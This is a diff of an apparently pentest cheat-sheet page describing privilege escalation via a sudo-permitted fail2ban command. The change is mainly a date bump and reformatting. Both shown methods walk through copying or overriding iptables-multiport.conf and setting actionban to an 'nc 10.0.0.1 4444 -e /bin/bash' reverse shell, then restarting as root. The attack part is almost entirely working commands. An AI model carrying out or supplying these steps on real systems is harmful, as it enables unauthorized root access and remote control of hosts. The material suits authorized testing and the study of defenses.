@@ -4,7 +4,7 @@ description: Sudo fail2ban command might be vulnerable to privilege escalation (
4
4
tags :
5
5
- Privilege Escalation
6
6
refs :
7
- date : 2023-02-05
7
+ date : 2024-09-16
8
8
draft : false
9
9
---
10
10
@@ -67,47 +67,47 @@ Specifically, insert a payload to one of the following values.
67
67
68
68
Here update the value of ** actionban** which triggers ban on multiple login attempts.
69
69
70
- Method 1
70
+ - ** Method 1**
71
71
72
- Copy ** iptables-multiport.conf** to the current user's home directory.
72
+ Copy ** iptables-multiport.conf** to the current user's home directory.
73
73
74
- ``` sh
75
- ls -al /etc/fail2ban/action.d/iptables-multiport.conf
76
- # copy this file into the home directory for editing the content
77
- cp /etc/fail2ban/action.d/iptables-multiport.conf ~
78
- ```
79
- Now modify the file.
74
+ ``` sh
75
+ ls -al /etc/fail2ban/action.d/iptables-multiport.conf
76
+ # copy this file into the home directory for editing the content
77
+ cp /etc/fail2ban/action.d/iptables-multiport.conf ~
78
+ ```
79
+ Now modify the file.
80
80
81
- ``` sh
82
- vim ~ /iptables-multiport.conf
83
- ```
81
+ ` ` ` sh
82
+ vim ~ /iptables-multiport.conf
83
+ ` ` `
84
84
85
- We insert a reverse shell payload into the ** actionban** .
85
+ We insert a reverse shell payload into the ** actionban** .
86
86
87
- ``` sh
88
- actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
89
- ```
87
+ ` ` ` sh
88
+ actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
89
+ ` ` `
90
90
91
- Then move back the config file to the original one.
91
+ Then move back the config file to the original one.
92
92
93
- ``` sh
94
- mv ~ /iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
95
- ```
93
+ ` ` ` sh
94
+ mv ~ /iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
95
+ ` ` `
96
96
97
- Method 2
97
+ - ** Method 2**
98
98
99
- Fail2ban parses .local files in the action.d directory after the .conf files, and any settings in the .local files override user changes made in the .conf files.
99
+ Fail2ban parses .local files in the action.d directory after the .conf files, and any settings in the .local files override user changes made in the .conf files.
100
100
101
- ``` sh
102
- # cp iptables-multiport.conf in the same directory with .local extension iptables-multiport.local
103
- cp /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.local
104
- ```
101
+ ` ` ` sh
102
+ # cp iptables-multiport.conf in the same directory with .local extension iptables-multiport.local
103
+ cp /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.local
104
+ ` ` `
105
105
106
- We insert a reverse shell payload into the ** actionban** .
106
+ We insert a reverse shell payload into the ** actionban** .
107
107
108
- ``` sh
109
- actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
110
- ```
108
+ ` ` ` sh
109
+ actionban = /usr/bin/nc 10.0.0.1 4444 -e /bin/bash
110
+ ` ` `
111
111
112
112
To apply the new configuration, restart it as root.
113
113
0 commit comments